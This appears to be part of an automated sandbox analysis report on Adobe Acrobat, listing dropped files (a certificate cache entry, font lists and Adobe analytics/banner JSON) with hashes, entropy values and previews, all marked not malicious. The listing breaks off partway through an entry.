Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7360682398396405
Encrypted:	false
SSDEEP:	3:kkFklM4jTstfllXlE/HT8kPXNNX8RolJuRdxLlGB9lQRYwpDdt:kKVuTseT8WNMa8RdWBwRd
MD5:	F1B6B6046099FF336C5A92B2827CBFED
SHA1:	245B668EB11AFD0D7A0D3220EBED9F3F04D0E6C9
SHA-256:	DB3A55DC59EC59C33EA2CDF290027A1E5C1B6738AA4C543E59BF27D6D38ECD69
SHA-512:	0F9C7B2AA01523315960D97E4365CE68AF59CDC9E5ED04A7E493961F51DAA5F9E73FE5CFAADE27300B32ACBCD956E3ABF399110D8509E8366150E864748BD225
Malicious:	false
Preview:	p...... .............e..(....................................................... ..........W....(l..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7872

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7872

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.346145209674303
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhTVoZcg1vRcR0YmjyoAvJM3g98kUwPeUkwRe9:YvXKXgZc0v7tGMbLUkee9
MD5:	332CF6125865E52ED0670B0E2439E37D
SHA1:	DA3F990F29F977304438ADB33CC6AAE150FBD1FB
SHA-256:	2F9C41DB7227BABF93CF91EAD3D19447EC947F27376082FA990CC8DF8817F2D4
SHA-512:	9130C73ADB274FE9181836039AC33965EDB931317AFEC0FD4370736556A5C1D87C05E36D8D39A0475C03E1CCF47491CCA75F0AD49A6EFEA3BD6A2C52FAEDEA94
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.29619695855263
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhTVoZcg1vRcR0YmjyoAvJfBoTfXpnrPeUkwRe9:YvXKXgZc0v7tGWTfXcUkee9
MD5:	C9A4AF11965E8A928DE1D3E86ACDA38C
SHA1:	96EDC390BD8BA99503B2F502A26AAC1BE3A5DE49
SHA-256:	FCA4F18F4919637261EB48277FA383A587AC872D1812783EF4FA2B6856FA50E7
SHA-512:	6E132D3CF5317DA6A6B11E0B5D7E65359D42AD97133F8D3FF0986AA6D10A4DD154004C59C3EA63C162FDED1C57036A76C1F213FB9B3032FA26B3CA70BA05D76B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.275683527690033
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhTVoZcg1vRcR0YmjyoAvJfBD2G6UpnrPeUkwRe9:YvXKXgZc0v7tGR22cUkee9
MD5:	B821F8EDD6C3ADF0EFC3FBFF52B5174B
SHA1:	2CF24691C92ACCBD9AF721FD64E00A735AEDB02B
SHA-256:	C3285E3A70E22BDAAABC4115B2C17B1CB78BA3A92CD656984D48C028A91AB587
SHA-512:	1F35B2D4118D2E46977EE04D2459C338DBF10729C2BE816D5BF908998A1442C8C6981303FF29F5EE5F5D823F81C7B404A86713B7B820598D6C49059CE3E1CF5C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3325515693205885
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhTVoZcg1vRcR0YmjyoAvJfPmwrPeUkwRe9:YvXKXgZc0v7tGH56Ukee9
MD5:	86F9890638952E6EB62CCD3A6D12E670
SHA1:	454126DCFDC4888C7853F7308F55AB922F6AE1C1
SHA-256:	775E6315EB775D7E6176F3335EA8AE93F6EDDF4DA12C5AE2C13948073DD7FFDE
SHA-512:	9174A9F8ADBA3BC93F07BC93497CF099398C52F85EE71BBDAEDF2828201C646B6B13F1952FFBF6CBFD6917F6DB9AF70D922E6D79C7E81BEC27327B6B7952BF9A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.681702225618548
Encrypted:	false
SSDEEP:	24:Yv6Xgzv2pLgE9cQx8LennAvzBvkn0RCmK8czOCCSeT:YvDehgy6SAFv5Ah8cv/eT
MD5:	2456B5E13F7D5E1248695F6E1CABF590
SHA1:	62CD1F7E3065B9E79292EE851E3EDB85D524843C
SHA-256:	2AE938AB1C09E524D3B15BA122F17C6F938018B45F91C7DF2E264E449D5D3916
SHA-512:	EC0303D67777180FC527CAFD5534F5921B072933EEA1FAE790E9ADDC933085BA228A5BB3D6B3C3872D0F3A3AE8CC249435BA0ED760689F826018D00C39C6081E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277418984733487
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhTVoZcg1vRcR0YmjyoAvJf8dPeUkwRe9:YvXKXgZc0v7tGU8Ukee9
MD5:	0AA6F095CE684A84028E2D1B9E23DD1A
SHA1:	262A151D25AA21A19CAA5C3E9F4651160DDDEAE2
SHA-256:	889AFF14CC6467268A99D79729DC63CDD126F4649A96EC317D0D446A3353835A
SHA-512:	C587F520DFCFD7BEAAFFE88C12A2C5ADDE5BD8DFED3E0EFB3AEBB817075F4ECCE4EA7C2ADF79B369259EF6222CD031371DA609783444FE651E0361747D40C4CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.28211704321402
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhTVoZcg1vRcR0YmjyoAvJfQ1rPeUkwRe9:YvXKXgZc0v7tGY16Ukee9
MD5:	1EAF216DEEDA7AE24AB71459F34E1257
SHA1:	617DEC7383C0C0D1D36306A2D81073734B32903A
SHA-256:	91B912F666B5710021FFE18EE6138E2AD0EA4942C1F3D5EADD3FA52572FBBFA6
SHA-512:	6F10565CED9EEF180461C5BE318FFF006969F7E76E7B98C74CCF772F97DF410904FD6F8020DBC4E27028C68F8207AFF029C047CFDF6887932ABA254E8CEB9419
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284830315284523
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhTVoZcg1vRcR0YmjyoAvJfFldPeUkwRe9:YvXKXgZc0v7tGz8Ukee9
MD5:	DA2D1E7247FC86F3F56D52A3D206135D
SHA1:	FFF08719050914330FCF123A5F6049803282E1DC
SHA-256:	99D18131CF7D791FA289A27BCA1E8272961BACB2EF20E44287DC0FCED442D8E9
SHA-512:	D52FEA7AD5172B2B64C1AD0AC5885E1E651B0717C1CFB38549251C0A268FC764E023018970194EBF91CF3369AE25C93D4F6183D97C5F99295FEBB9C71E99A72F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3018336751310935
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhTVoZcg1vRcR0YmjyoAvJfzdPeUkwRe9:YvXKXgZc0v7tGb8Ukee9
MD5:	9ACD292F23FD5DFC9FEF1FA728BCC12A
SHA1:	3638EEA2C1A1AD82BE23719FC10F3090BFB15EFD
SHA-256:	270C6DECFD1BDCAC36BD9C866520345FBCEBF5A691F7A1D837EF37B70F8967C1
SHA-512:	8C024B2C005ABB912B02FD290AC9B882D5C6F3A2D88FF436A3625D7FE9ECB85B9AC7CC29C2D9D960DC3D9D5524DC9BB6BF01D724AA76411E70392BC8924FBE06
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282653811478789
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhTVoZcg1vRcR0YmjyoAvJfYdPeUkwRe9:YvXKXgZc0v7tGg8Ukee9
MD5:	1E5741D5FEABD561D857F021D7FCF949
SHA1:	9B8A8FCB169B5F71DDB3961929F741E4191FD675
SHA-256:	D556AC0859AB52A836808BD6A726E0C153871DA32B50D53F04E32D2B7125A90F
SHA-512:	72629FD3589AE3DAA24496553E7C30E87457CBFBADDD9CD73269D523AAAEA90968DE57E1E6FB48CDB82B925D95C4B6CB06EA78E9FC5C2255051AFD4BE874F61B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.268697784586324
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhTVoZcg1vRcR0YmjyoAvJf+dPeUkwRe9:YvXKXgZc0v7tG28Ukee9
MD5:	98FF8A6DAF93F5DD68836A0C186D770D
SHA1:	F91F9B9C71FE13C2A40E990D1F1927ACB8A86B39
SHA-256:	F72889CD152DF73C457104347CA855BF61697D777ADF30C631878EC662983CEB
SHA-512:	F65F1D37D4BD4164FB7AA98B207CB4822F643DCDDDA0B535C2441142AF196A20B896FF513C01A11D1DF34036106C9F01B97D20B9972A1FE90751DB86466E7479
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.266320126943177
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhTVoZcg1vRcR0YmjyoAvJfbPtdPeUkwRe9:YvXKXgZc0v7tGDV8Ukee9
MD5:	695B9DEB334D5726CAB6C60F189E0701
SHA1:	483E81079188F645B23B340D74BC6AB12CB0D09B
SHA-256:	FD2D50AE1270504E12B48A64DAD721B5BE48C7F53C25A0D396E94A60EC50C520
SHA-512:	63739ED1E536EA17609FD8FE37AB3C2C8926231677A256A465C65E391EF2B581497507E6BB9B93A3809C2719154DDC1FEB157D9F1B98B329D353CFFE7BB001DA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b1e9ba6-a014-46bd-9d90-457d8a9f2abe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736967409754,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.271306759179708
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHhTVoZcg1vRcR0YmjyoAvJf21rPeUkwRe9:YvXKXgZc0v7tG+16Ukee9
MD5:	FC381C2E17145074B5E7B1DA6BAC2362
SHA1:	2F17CA2EFBA698F55AF6E4A95FAD6B55021A6D64
SHA-256:	D3788B83DBF883681E5992D8196D2610BFD1616665F00D9684FFC58BF7FE1DCA
